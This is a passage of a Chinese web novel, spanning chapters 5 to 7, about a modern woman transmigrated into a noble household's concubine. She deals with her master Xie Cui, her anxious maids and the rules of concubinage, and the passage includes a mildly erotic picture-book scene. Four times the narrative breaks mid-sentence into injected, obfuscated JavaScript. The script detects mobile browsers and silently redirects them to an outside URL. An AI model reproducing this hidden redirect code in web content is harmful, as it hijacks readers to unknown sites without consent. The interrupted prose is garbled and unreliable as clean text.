姑娘这是做什么,是要将爷往外推吗? 谢漼的手凝滞于半空,须臾,他转头看向两丫鬟。 两丫鬟会意,忙随他步出院外,只留寻真一人在屋内。 谢漼一走,那股似有若无、如芒在背的压制之感,一瞬间消散,寻真顿时觉得周身一轻。 院外廊中,修竹猗猗,翠影摇曳,清风徐来。 谢漼卓然而立,衣袍似云般垂落,随风轻摆,湛然若神。 身姿挺秀,若劲松苍竹,令人见之忘俗。 月兰悄悄抬眸瞥了一眼,又赶忙垂下头去,将昨日寻真见到引儿后的种种异样,说与谢漼听。 月兰言辞间,谢漼容色沉静,瞧不出情绪。 谢漼听罢,唤小厮来:“速去延请善治癔症之名医。” “是。” 那小厮领命,匆匆而去。 “往后,柳氏但有丝毫异状,第一时间令瑞宝或康顺前来通传于我,不得有怠。” 瑞宝和康顺,本是谢漼近身随侍,那日出事后,谢漼将院内人马尽皆调换。 如今这院子里里外外,除了引儿,都是谢漼挑的人。 月兰本在书房服侍谢漼,因识得几个字,知礼柔顺,故而被谢漼相中,遣来伺候柳姑娘。 初时,月兰心中曾泛起不服与不敬之意,很快被谢漼察觉。 对她道:“既你心有不服,我这处便难容你,切去库房支取一笔遣散银子,自行离去吧。” 月兰听了,大惊失色,当即噗通跪地:“奴婢知错,公子切莫赶奴婢走,伺候奴婢唯柳姑娘之命是从,绝不敢再有半分不敬。” 谢漼扣了月兰一半月钱,继而温言教诲几句。 月兰诺诺连声,自此收心敛性,不敢再生怨言。 不一会儿,大夫来了,入内室,为寻真悉心把脉。症候与前次大夫所言大致相同,然所拟药方略有差异。 大夫离去时,谢漼躬身行了大礼。 两丫鬟心内好奇,问了小厮。 小厮瑞宝眉飞色舞:“此大夫非比寻常,是以前宫里头的御医之首呢!现在虽然解职,偶尔会在大药房坐诊,我去的时候,只道出爷的大名,大夫当即就应允前来!” 引儿听了:“爷当真是对姑娘关怀备至,姑娘好福气呢!” 月兰也点头:“亦是姑娘福泽深厚,争气得很,为爷诞下小少爷,方得此眷顾。” 两人踏入内室,却见姑娘又拿被子蒙住了脸,还背对爷。 良久,谢漼未发一言,坐了会,起身,袍袖轻拂,转身离去。 两丫鬟恭送谢漼远去,直至其出了院门,方缓缓转身进屋。 月兰至床前,轻声道:“姑娘,您怎可如此对待爷呢?爷平日公务缠身,今日好容易得逢休沐之日,特意前来看您,您却这般将他拒于千里之外,委实不妥。” 寻真往里一缩,用被子堵耳朵。 引儿扯扯月兰的衣角,使了个眼色,而后和声细语道:“姑娘,您瞧,外头阳光明媚,难得的好天气,您莫要整日闷于屋内,不妨出去小坐片刻,也好散散心怀,忪泛松泛筋骨。” 连声音都跟商云一模一样。 寻真忍不住抬起头,看到那张脸:“云云……” 引儿:“奴婢是引儿。” 寻真同意了。 月兰和引儿两人轻轻搀扶着迈向院中。 庭院中,青砖铺地,缝隙间生着几缕碧草。 中央一方石桌,周边四把石椅。角落有一小片翠竹,竹叶沙沙作响,添几分清幽雅韵。 二人将寻真扶到一处背风角落。 寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776126|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真坐在椅子上,面向暖煦煦的阳光,闭目轻憩。 恰才大夫说了,可时常提及以前的事,能助其恢复记忆。 月兰心念一转:“姑娘可还记得与爷是如何相识的?” 能怎么认识? 风流才子救风尘? 电视剧都那么演的。 寻真:“没印象。” 月兰道:“姑娘是不知呢,那日爷携您回府,真真是令全府皆惊。” “起初,公子将您安置于书房,甚至惊动了二爷,彼时,公子尚未成亲——”说到这,她下意识停了停,看了眼寻真的神色,见她没有不悦,便继续说道,“亦未曾收过丫头,姑娘您可是头一位。二爷为此特地寻了公子相谈,府中奴仆们私下皆传言,二爷定然不肯让您入府。” 那时,公子已然连中二元,殿试之期将至,前途不可估量。 谢家乃名门望族,世代簪缨。 谢家下一代福祉荣耀,怎可被此等出身不清不白的人沾了身。 府中下人私下纷纷揣测,二爷速来讲究门楣规矩,定然不会应允公子于婚前纳妾,更不会容留这般出身的女子长居府内。 皆未料到,二爷与五公子在书房中长谈后。 竟允下了。 “听说是公子竭心尽力,方才将您周全护下……” 哦…… 寻真托着腮。 月兰:“姑娘当真一点都记不起来了吗?” 寻真摇头。 引儿忽而说道:“姑娘可要看书?往常姑娘可是手不释卷呢!” 寻真随口应道:“我以前很喜欢看书?” 引儿点头:“姑娘有几大箱珍藏,闲时还会临帖练字。” 寻真稍微有点兴趣了:“有哪些书啊?” 引儿:“我唤人搬出,今日正好晒晒书。” 众仆役合力将数箱书册及箱箧放在庭院中,其中有一箱存放杂物,是仆人们疏忽搬来,引儿见状,正要遣人将其搬回。 寻真唤一声:“我看看。” 多看点原身的物件,兴许能大概知道她的性情和喜好。 虽然现在可以将失忆作为托辞,但要是行止做派跟原身相差很远,一定会引起别人生疑。 到时候要是为了驱邪把她一把火烧了可就不好了。 寻真蹲下来,翻检起来。 里面有不少精巧的小物件,还有几本话本,寻真还以为会是那种才子佳人的故事,没想到大部分居然是抓鬼、破案一类。 寻真挑了几本感兴趣的,准备当睡前读物。 咦,这是什么? 寻真指尖触及一条红绸带,拈起,红绸带上有刀割过的痕迹,像是从什么衣服上裁下来的。 月兰便说:“姑娘以前时常拿着这根绸带发呆呢。” 寻真:“这个很重要吗?” 月兰:“奴婢好奇曾问过,姑娘未肯与我吐露只言片语。” 那应该是很重要了。 寻真把它放回原位。 其余箱箧中,书册品类繁杂,经史子集、天文地理、朝章国故、民生技艺等什么类型的书都有……看来是一个很喜欢看书的妹子啊。 寻真挑出几本地理方面的书,借此来了解一下这个朝代的版图。 5. 第 5 章 手上这本是《大周舆地志》。 全面记载了大周朝疆域地理情况,内容包括各个州郡的方位、边界,重要山川河流的分布。 【冀州,居大河之北,其地广袤,北接幽燕之野,西临太行之险……】 【青州濒于东海之滨,海江无垠,波涛浩渺……】 【雍州地处内陆腹地,为中原洗吹姚笛。】 【江南诸郡,苏杭之地,气候温润,雨水充沛。】 这个架空朝代还是能跟古代的一些地方对上,有些名词看着很熟悉,只不过寻真是理科生,地理学得不精,具体对应现代哪座城市就不知道了。 要是能出去看看就好了。 寻真望向了墙外。 两丫鬟侍奉一旁,寻真叫她们坐下,都不听。 寻真执书叹了口气。 引儿:“姑娘可要练字?” 寻真:“我以前字写的好吗?” 引儿:“我拿给姑娘看吧。” 引儿令仆僮移来案几,取摹本并一沓练字纸。 “姑娘新近所练,便是此篇。” 【行于天地之间,仰瞻宇宙浩渺。山川壮丽,江河奔腾,皆触吾心,发为幽情……】 一共练了百来张,按顺序翻下去,张张有进益。 寻真大略翻开,原身的字看上去还是挺好的。 两丫鬟一个给她铺纸,一个给她磨墨。 旁置小几,上面摆着茶水点心。 寻真慢慢展开要临摹的那卷书法。 卷轴展开,寻真便止不住惊叹一声。 以前逛博物馆,寻真只能隔着展柜玻璃,遥遥地看那些历经岁月淘漉的书法作品。 此刻握在手心,触及纸墨,感受全然不同。 再看周围的环境。 庭院深深,苔痕上阶,绿竹猗猗,随风摇曳。 仆从往来,各司其职,服侍与行止,一派古意。 此刻,寻真手持卷轴,心神恍惚,眼前这一切人事物象,是那么鲜活灵动。 穿越的真实触感,在这一刻,如潮涌至,扑面而来。 寻真暗叹,将自己从低落的情绪中抽离。 将注意力放在卷轴上。 这幅字是楷体。 端凝而不失秀雅,雄浑且蕴藉风流。 起笔藏锋,仿若蛰龙初醒。 字之架构,稳重如泰山镇岳,又不乏灵动。 布局谋篇,行列整齐,疏密有致,一气呵成。 寻真刚才还觉得原身的字写得挺好,现在看了原版,才知道差距有多大。 临摹版乍一看有几分相似,仔细看,笔力虚浮,只有其表,没有神韵。 卷末见朱印,“缮之”两字。 寻真便明白了。 月兰的声音果真响起来了:“姑娘,这是公子十三岁时,随族亲外出游学,遍览山河胜景后所书。” “公子之书,曾受书法大家王公盛赞,称其笔法——‘巍峨端凝,不失修雅韵致,厚重间暗藏风流洒脱之态。字里行间,神韵天成,假以时日,谢氏五郎于书法之道,必成大器’”。 好了,不要再说了。 我知道他书画双绝了。 寻真扶额,跟着描了两个字。 手抖得不行,歪歪扭扭,简直不能看。 引儿:“姑娘如今诸般皆忘,这练字之事,亦需从头做起了。” 寻真叹气。 这个院子,满是谢漼的痕迹。 墙上悬着的画,出自谢漼之手。角落香炉、山水屏风,都符合谢漼的雅好。 箱箧内,金银首饰,件件都是谢漼送的。 院内众人,无论婢仆侍从,皆由谢漼差遣。 周围一切,都深深打上了谢漼的烙印。 - 接下来几日,寻真顶头上司没来,她偶尔看看书、练练字,除了每天要喝苦的要死的中药,生活也算过得闲适悠然。 穿都穿了,总得想开点。 谢漼这人压迫感太强,他不来,寻真也乐得自在。 过了五天后,两丫鬟开始焦虑了。 月兰眉间渐起愁云,怕自家主子那日举动惹了谢漼的厌,谢漼不复再来。 若果真如此,她们可就不好过了。 几日尚可支撑,若时间长了,府中人都知晓主子失宠,到那时不知将受何等苛待。 看府中失宠的姨娘便可知,侍从婢女亦遭冷遇,衣食用度被削减,或遭无端刁难,行动皆受掣肘,须谨小慎微,唯恐稍有差池,引得更大祸端。 更何况,姑娘现今还没名分呢! 月兰念及此,忧思愈盛,然又无计可施,只能在心底默默祈愿。 寻真一个姿势窝在椅子上久了,开始腰酸背痛起来。 心里正琢磨着,怎么才能搞个人体工学椅出来。 目光瞥见月兰:“月兰,想开点,别整天愁眉苦脸的,船到桥头自然直嘛。” 心想,要是谢漼一直不来。 岂不是有机会跑出去了? 只不过,她不知道这个朝代有没有户籍文牒之类的东西,还是得一切探听明晰、筹划周详,所有准备都做好,再找时机跑路。 月兰欲言又止。 “想说什么就说呗。” 月兰:“姑娘,爷已经十日没来了……以前爷虽来得不算频繁,然今时不同往日,姑娘已诞下小公子……倘若爷自此后彻底不再前来,姑娘又当如何是好?” 引儿在旁也是幽幽长叹。 寻真原身,身份低微,虽有个单独院子,也拿着妾室份例。明面上,跟通房丫头没什么差别。 如今孩子都生了,却还没得正式名分。 两丫鬟每天都一脸焦虑,为自家主子的未来担忧着。 寻真想起那日谢漼对她说的话。 【待过几日,挑个合适日子,过了明路,正式抬了姨娘。】 到现在,谢漼都没露面,其中或许有什么变故。 寻真也不在乎这个名分。 有或无,都无所谓。 寻真想了想,还是没跟两丫鬟说,而是问道:“月兰,在你眼中,你们爷是个什么样的人?” 月兰:“爷才情绝世,仿若古之圣贤降世,有魏晋君子雅士之高风。当世之人,皆难望其项背,无人能出其右。” 这跟现代那些无脑粉——我家哥哥世界第一棒,有什么区别? 每天花式夸,八百字小论文都不带重复的! 寻真想起她那前桌,是某位娱乐圈当红爱豆的狂热粉,天天给安利她家爱豆跳舞如何如何好,唱功如何如何绝,寻真愣是一点没get到。 足见审美这玩意,还是挺私人的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776127|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谢漼的文章、书法、绘画再好,她也无感。 要是能给她造个人体工学椅出来。 倒是可以粉一粉。 寻真捏了一块点心吃:“他是否苛待下属,赏罚分明?” 月兰:“怎会苛待,爷素日里心怀仁善,对待下人向来宽厚仁慈,偶有小过,爷亦不过是温言劝诫,引导其改过自新,从未有过重罚苛责之举。” 这倒与寻真想的不同。 寻真是记得的,那天醒来,谢漼坐在厅中,淡然旁观仆人受仗刑。 那么血腥的场景,脸上神色毫无动容,明明是薄情之人。 寻真顺着她的话说:“那不就得了,你怕什么,要是有人敢欺负、苛待我们,去告诉谢漼不就得了,他自然会明察秋毫。” 月兰听闻此言,不禁微微一怔,方才姑娘竟毫无顾忌,径直喊爷的名讳,此等行径着实不对。 姑娘失了记忆,言行肆意了许多,现今竟对爷失却了敬重之心。 月兰点了点头,稍作停顿,片刻之后,忍不住轻声劝诫:“姑娘,在爷面前,您切不可如此唐突直呼爷之名,此乃不敬之举。即便独处幽室,亦不可如此随意,若不慎让人听闻,恐引发无端风波。万望姑娘时刻谨守礼仪,对爷心怀敬畏,如此方能保得自身安宁。” 喊个名字都不行。 行呗。 寻真:“好好好,我知道了。” 时光悠悠,一晃又过了五日。 这半个月,寻真没怎么动,每天吃了睡、睡了吃,脸颊渐渐圆润起来,气色也好了很多。 临近七月中旬,天气开始有些热了。 清晨,洗漱完,寻真把碍事的外衫脱了,只穿中衣在屋内溜达。 月兰端点心进来,一眼瞧见寻真这副模样,大惊失色,“姑娘快快把衣服穿上!怎可如此衣衫不整?” 月兰连忙取了外衫,手忙脚乱给寻真罩上,那架势,仿佛寻真做了件极为羞耻的事。 寻真怕她俩接受不了,还收敛了呢。 本来想只穿件吊带(肚兜)的。 寻真:“这是在屋里,不出去,又没人看见。” 月兰:“万一爷来了呢,看您如此行状,定会不满。” 寻真:“这都半个月了,不会来了。” 月兰叹一口气:“即便如此,那也万万不可,若是被小丫头们瞧见,传出去一星半点的消息,外头的人不知会怎样编排姑娘呢。” 月兰都能想到:怪不得是那勾栏里出来的,只会使些狐媚手段来勾引爷。 “姑娘您以往可是极为注重礼仪的,切不可因一时之快坏了名声。” 月兰真的好像唐僧哦…… 寻真:“哦哦哦。” 夜幕低垂,室内烛火摇曳,光影在墙壁上晃晃悠悠。 窗外,一片幽静深远,微风拂过,竹叶沙沙作响。 引儿点了安神香,幽淡的香气缓缓散开,萦绕在屋内。 紧绷的神经渐渐舒缓,寻真坐在书案前,捧着一本志怪小说。 案几放着点心,寻真时不时捏一块吃。 昏昏欲睡。 不知何处飘来一股淡雅宜人的香气,丝丝缕缕。 寻真身上笼罩一片阴影,紧接着,一个清润悦耳的声音仿若从云端飘落。 “在看什么?” 6. 第 6 章 寻真合拢书,身体一下子紧绷了。 随后合上书,给谢漼看了下书封。 《灵狐志异》 丫鬟手脚麻利地奉上香茗。 谢漼撩袍,缓缓在她身侧落座,那姿态仿佛从古时画卷中走出的儒雅仕子,一举一动皆透着古韵。 他修长的手指搭在茶杯之上,啜饮一口,茶雾氤氲间,他温声问道:“身子可好些了?” 寻真余光瞥见月兰和引儿惊喜的模样。 人来了,怎么也不提醒一下。 吓她一跳。 寻真:“好点了。” 此刻,月兰在一旁悄悄松了口气,暗自庆幸方才坚持让姑娘穿好外衫。 不然,爷不打一声招呼地来了,看到那般形容。 定要训诫几句的。 谢漼目光落在寻真身上,只见她身子僵硬,全身散发戒备之意:“如今可曾想起一些来了?” 寻真垂下目光,摇了摇头。 四下里一片寂静,偶有烛火“噼啪”爆一声。 安神香飘散过来,萦绕在二人之间。 谢漼凝视她,缓缓道:“下月十八,乃黄道吉日,彼时,便依照礼制,正式将你纳为贵妾,仪式从简而行。待到那日,你只需向家中长辈逐一敬茶,行过礼节,便正式入我谢氏之门了。” 寻真点点头,表明自己知道了。 一旁立着的两丫鬟,听闻此言,互相对视一眼,脸上都露出惊讶之色。 谢府,不是寻常府邸,对于妾室的身份地位,有着明确而严苛的划分。 可以说,谢漼是谢家重点栽培的下一代“家主”,寻常女子,即便有幸为谢漼诞下小公子,若无特殊的背景或缘由,也是决然不符合贵妾的要求的。 柳姑娘没进府前,还是贱籍出身。 也不知爷是使了何种手段,费了多少唇舌,才说服了二爷点头应允。 可偏偏姑娘失忆,听闻这等天大的喜讯,却波澜不惊,只是平静地点点头,并未有半分惊喜之色。 莫说感恩戴德、伏地谢恩了,竟连半句谢也未说。 如此平静,实在不该啊。 两丫鬟都替寻真紧张着。 外头天已全黑了。 这些天,寻真的生活作息健康的不得了,一到点,就困了。 不过在这时代,也没什么条件熬夜。 寻真打了个哈欠。 谢漼没在意寻真平淡的反应:“安置吧。” 两丫鬟得主子吩咐,垂首敛目,齐声道“是”,前去传唤诸丫鬟准备热水。 这什么意思? 寻真困意全消。 安置? 再联系引儿月兰的行为。 ——谢漼今天要睡她这?! 寻真蹭地站了起来,身形略显僵直。 谢漼道:“你身子尚未好全,不必前来服侍。” 寻真直愣愣站那,哦了声。 谢漼走向里间,寻真耳边隐隐传来水声,心下慌乱,坐了片刻,又焦虑地站起来。 在屋内来回踱步。 不多时,谢漼缓步走来。 中衣外,披一件素色长袍。 长袍以暗纹锦缎制成,织工细腻,幽微光泽隐现其中。衣摆处绣着仙鹤,似欲振翅高飞。 一根玉质发簪信手簪于脑后,其余乌发如墨,肆意散落肩头。 随性之间,天然而成一种高雅脱俗、不矜不伐的气度。 寻真下意识后退半步,身子抵着案,往后望了望。丫鬟们都退出去了。 怎么办? 他真的要在这睡! 谢漼款步朝她走来,到了面前,自然地执起她的手,往床榻边走去。 寻真一颤,心下慌乱,出于本能地一扯,挣脱了他的手。 谢漼刚沐浴完,身上缭绕着湿热的气息,此刻因她的挣脱转过头来。 寻真仰头看着他。 四目相对。 寻真的手不自觉往后撑,指尖微微颤抖着,按压在桌案之上。 谢漼只是静静地凝视她片刻,面容无波无澜,让人难以窥探其心中所思。 很快,他再次伸出手,执起她的手腕。 此次手上明显加了几分力道。 烛火噼啪响了一声。 谢漼的眼神中隐隐透着一丝压迫。 寻真只觉一股力量袭来,这具身子竟率先不由自主软了下来,只能顺从地被他拉着,一步步往床榻边挪去。 寻真身形娇小,个头仅到谢漼的肩膀。 骨架纤细柔弱,恰似弱柳扶风。 月兰曾说过,谢漼虽然平日将诸多时光倾注于学问上,可于强身健体之事亦未曾懈怠。 君子六艺自是样样修习,且皆精熟于心。 寻真暗想,这具身体如此孱弱,若谢漼真要强来,自己定然是抵挡不住的。 况且,谢漼是这具身体的“夫主”,于情于理,他都有做那事的权利。 毕竟,两人连孩子都生了! 难道真得从了? 行至床边,谢漼松开了手。 他身子笔挺,如松立崖畔。 静静伫立床边,凝视着她,也不动作。 寻真佯装镇定,当做谢漼不存在,手微微颤抖着,解开外衫与外裙的系带。 衣衫顺着手臂滑落,发出轻微的簌簌声,在寂静的屋内显得格外清晰。 谢漼一直没说话,目光如有实质地落在她身上。 寻真先一步爬上床。 躺进去后,双手下意识捏着锦被边缘,直直地平躺在床榻上。 唯有那起伏不定的胸脯泄露了她内心的波澜。 谢漼看了她一会儿,片刻之后,他也躺入锦被之中。 几乎没有声响。 刹那间,一股雪松的清香裹着安神香的气息扑面而来。 心跳陡然加快。 寻真愈发紧张难安,只能紧闭双眸,不敢有丝毫动弹。 谢漼又看了她一会儿,良久,他启唇,唤婢女前来将烛火熄灭。 四下被黑暗笼罩,唯有窗外透进的几缕微弱月光,勾勒出屋内模糊的轮廓。 寻真仍然闭着眼睛,紧攥被子,连呼吸都不敢重了。 心如同绷紧的弓弦。 等了许久,身旁静谧无声,并无丝毫异动。 寻真如释重负,悄悄松了口气。 看来不是准备做那事来的。 应该只是纯纯睡觉。 想到这里,寻真僵硬的身躯微微舒缓。 寻真转过身去,背对着谢漼,缩着身子,尽量降低自己的存在感。 这床榻原本极为宽敞,横着睡都足够,还可以四处打滚。 寻真的睡相不算好,此刻却一点都不敢动。 万一谢漼要搂要抱,又或是做出其他亲昵举动。 那她还怎么睡? 胡思乱想着,困意涌来,不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776128|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不觉间,寻真沉沉睡去。 晨曦微露,丫鬟们轻手轻脚地入内伺候谢漼起床。 刚踏入内室,月兰便瞪大双眸。 姑娘不但睡于床榻内侧,竟还背对爷,全然不见半分侍奉夫君该有的姿态。 现下爷起了,姑娘却仿若未闻,酣然沉睡,连那均匀的呼吸声都清晰可闻,毫无半分即将醒来的迹象。 月兰心下暗忖,姑娘如今月子尚未出,本就无法周全地伺候爷,已是怠慢了,可眼下这般情况,实在是逾矩过甚。 在这偌大的谢府中,那些个妾室们,但凡还未在府中站稳脚跟,哪个不是战战兢兢、百般讨好,莫敢有半分差池。 姑娘能得爷如此特殊的抬举眷顾,那是几世修来的福分,理应好好珍惜、小心侍奉才是,怎可这般肆意妄为? 月兰深知,这若是换了旁的那些性子乖戾、心胸狭隘且喜刁难磋磨下人的主子,见此情景,怕早就雷霆大怒,少不了要重重惩戒一番了。 月兰走向寻真,正要将她唤醒。 谢漼抬手,轻声道:“不必叫她。” 谢漼走后,两丫鬟在内室,轻声交谈起来。 月兰:“等姑娘起身后,还是得好生与她说道说道,这伺候爷的规矩可不能含糊。也怪我疏忽,此前怎就将这般重要之事给忘了呢。” 引儿:“我瞧着爷方才似乎并未生气,还特意吩咐咱们莫要叫醒姑娘呢。” 月兰轻轻摇头,神色间透着几分凝重:“爷的性子你还不太知晓,我曾伺候爷一段时日,故而略知一二。爷向来如此,心中所思所想,面上绝不会轻易表露半分。唯有当他有意为之,刻意在面上显露出一分情绪时,那便是故意释放信号,好让旁人能领会他的心思。若是遇着那些个心思愚笨、不解人意的,爷怕是不会再给予半分机会。方才爷面上看似平静,心中却不知是何想法。” 引儿若有所思道:“爷许了姑娘贵妾之位,赐予如此大的体面,想来应当也是颇为纵容姑娘的吧。” 月兰:“我所担忧,正是此般。姑娘如此行事,长此以往,恐有不妥。虽说爷现下纵容,可难免有一日会心生厌烦。一旦失了爷的宠爱,在这府中的日子可就难了。” 引儿:“你说的是,此事确不可小觑,还是尽早与姑娘细细言说为好。” 寻真一直睡到阳光透过窗棂,洒在脸上,才悠悠转醒,用完餐食后,月兰和引儿赶忙凑到跟前,开始给她科普《为妾守则》。 两人你一句我一句,听得寻真目瞪口呆。 三观都要崩塌碎裂。 诸如妾室需睡在床榻外侧,以便随时侍奉。 夜里,夫主如厕时要在旁服侍。夫主口渴要喝水,也得迅速递上。 更要殷勤地伺候夫主脱衣穿衣,就寝时万万不可背对夫主,需得面向夫君,呈柔顺之态。 寻真想起昨天。 她说呢。 怪不得谢漼在床边站了好一会也不动,原来在等着她给他脱衣服…… 两人继续说道。 早上,妾室要比夫主提早起身,伺候夫主洗漱洁面,而后凭借对夫主喜好的了解,挑选当日服饰,为其穿戴、整理衣冠。 用餐时,亦要守在一旁,为夫主布菜添酒,时刻留意其需求。 …… 寻真无言以对。 月兰说完:“姑娘可听明白了。” 寻真麻木点头:“知道了。” 寻真只希望谢漼别来了! 7. 第 7 章 见月兰还有话要说的样子,寻真:“还有什么,一次性说完吧!” 两丫鬟脸面泛红晕,你推推我,我推推你。 难道还有更跌破三观的事? 少顷,月兰轻咬下唇,闭目涩声道:“姑娘可知如何于床榻之上伺候爷?” 月兰和引儿曾私下谈及,如今姑娘失忆,恐于床笫之事懵懂无知。此刻若不坦言,待姑娘身子全然康复,侍奉之时有所差池,冲撞了爷可就不好。 故而,纵是羞怯,也不得不说。 床榻上? 是她想的那啥吗? 看两人脸红成这样,应该就是了。 古代做那个还有讲究啊! 寻真虽然没恋爱经历,什么限制级动漫和小说都是看过的,没吃过猪肉也见过猪跑。 她故意说:“你刚才说的,我都记住了,睡外面,渴了送水。” 月兰与引儿对视一眼。 终究月兰红着脸道:“并非如此……姑娘,此床榻之事,我与引儿亦知之甚少,待您身子大好,爷要您如何,您顺着便是了,切不可忤逆。” 引儿随之点头。 寻真佯作不解:“他会要我怎么样?” 月兰低着头,声若蚊蝇:“便是……宽衣解带,鸳鸯交颈之态。” 寻真噗嗤笑出声。 古人好含蓄啊! 月兰抬头:“……姑娘。” 寻真不逗她们了:“有没有什么关于解说这床榻之事的图册?找几本给我看看。最好是那种细节画得比较详细的。” 月兰未料到她如此直白,嗔怪道:“姑娘怎不知羞赧,此等物事,我等何处去寻……” 寻真振振有词:“我不知道具体流程,冲撞了你们爷怎么办?” 月兰踌躇良久,为着主子日后恩宠计,终是应下:“奴婢唯有竭力一试。” 小屋中,两丫鬟相对而坐,面有难色,为着寻春宫图之事愁眉不展。 引儿低声言道:“我曾有所耳闻,书肆中往往会暗中售卖那等图册,只消向老板稍加暗示,或能得之,然当下,你我该如何寻得契机出得府去。” 月兰:“每月二十之日,我依例皆会随管家外出采买物什。届时,可寻个托辞,悄悄离队片刻,料想无人会起疑。” 至二十日,月兰捧着一方裹布,匆匆迈入内室。 寻真在案前看书,见月兰双颊绯红,一脸神秘。 视线落在她手上:“你拿着什么啊?” 月兰羞涩地将裹布层层展开,露出本小巧册子。 封面看着挺正常,佳人才子在树下深情对望,颇具风雅。 月兰将册子轻轻置于案上,目光不敢稍有停留,面庞早已涨得通红:“此乃姑娘先前索要之物……” “我要的什么?” 寻真翻开册子,一下子看到古代版限制级画面,没反应过来。 “哦哦,这个啊!” 那天,寻真不过随口一说,没抱什么希望。 “谢谢你,月兰。” 月兰福了福身,低声叮嘱:“还望姑娘观阅之时慎之又慎,万不可被爷见到了。” 月兰心道,唯待夜深人静、四下无人之际偷阅为宜。此话不说,想来姑娘也是明了的吧。 寻真立刻搁下了手中那本《水经注》,摆了摆手:“那你下去休息吧,我现在就看,叫引儿也不用过来了。” 月兰不禁轻呼一声,瞥向窗外,但见日光朗照,青天白日,脱口而出:“这光天化日之下,姑娘怎可……” 寻真不以为意:“现在怎么就不能看了?” 月兰:“姑娘……” 寻真连连摆手:“下去吧,下去吧。要不你在这跟我一起看也行?” 月兰还是黄花大闺女,怎堪观阅此等私密之册,寻得此册,已是鼓足莫大勇气:“好,奴婢便候于外室,姑娘若有差遣,唤一声即可。” 四下无人,寻真身心俱松,将双腿径直搁在桌案上。 她一手轻拈一块桂花糕,送入口中,细细咀嚼。 一手执着春宫图,饶有兴致地观赏起来。 虽然是彩色,画风未脱古意,略显抽象。 不像现代那般写实逼真。 还没什么剧情,两模特在不同场景辗转,庭院桃树下、书桌前……不过,姿势和花样倒是挺多。 古代人只是看着含蓄,还是挺会的嘛! 也不知道这时代有没有这方面的小说啊,得有点剧情。 纯看动作,也没意思。 正值此时,谢漼悄然而至。 入目之处,只见寻真双腿高翘,肆意支于椅上,翠绿裙摆垂落腰间,露出中裤,两截纤细脚腕莹白如玉。 单手举着图册,观阅得兴致盎然。 观其神色,不知瞧见何种妙处,竟嗤一声笑,旋即仰首,将一块点心放入口中,缓缓咀嚼,粉腮轻鼓。 那模样,好不惬意自在。 浑然未觉有人靠近。 寻真正看得起劲,沉浸式研究。 这姿势是否有可行度。 古代人想象还挺丰富的嘛…… 这么想时,手中图册猝然被抽离而去。 “诶,干嘛——” 寻真下意识惊呼,本以为是月兰或者引儿,转瞬间,仔细一想,这两人虽然口头絮叨,却绝不会直接上手的。 而寻真呢,上次没穿外衫,被月兰好一番说教。 自那之后,她也知道自己一些举止她们肯定是接受不了的。 所以她总是趁月兰与引儿不在近旁,才敢这样,每听到脚步声,便急忙收腿,端正坐姿。也因此至今没被发现。 常在河边走,哪能不湿鞋。 刚才那页,画得挺不错的,还有文字搭配食用。 她正欣赏呢,一时大意,疏忽了周遭的动静。 待寻真惊觉之时,已来不及掩饰。 寻真扭过头,谢漼站她身后。 一席淡青长袍,卓然而立。 他手里擒着那本春宫图,双眸凝注于寻真方才细细欣赏的那一页,面上神色莫辨。 图中所绘乃是一段颇为狂放的情景。 小桥流水之畔,书生情思涌动,猛然一撩衣袍,自后面将小姐抵于石桥栏前,口中喃喃低语。 “一别三月,小姐可知晓,小生每念及往昔欢好,心中便如蚁噬。尤其念及此处,更是情丝难断……” 说罢,低叹一声。 “果真如小生记忆中那般,柔软温热,仿若春阳融雪、暖泉流淌。“ 情状露骨,言语直白。 气氛好似凝固了。 寻真一时不知道自己是该先把桌案上的两条腿放下来,还是将春宫图从谢漼手中抢回来。 寻真目光游移不定,手脚似被定住。 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776129|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漼合上书,瞄了她一眼,视线移至桌案上寻真那仍未收回的双腿。 寻真忙不迭将腿一缩,迅速从桌案撤下,端正坐好,目光四处搜寻着鞋子。 一只在椅子旁,另一只被她不经意间踢到床榻那边。 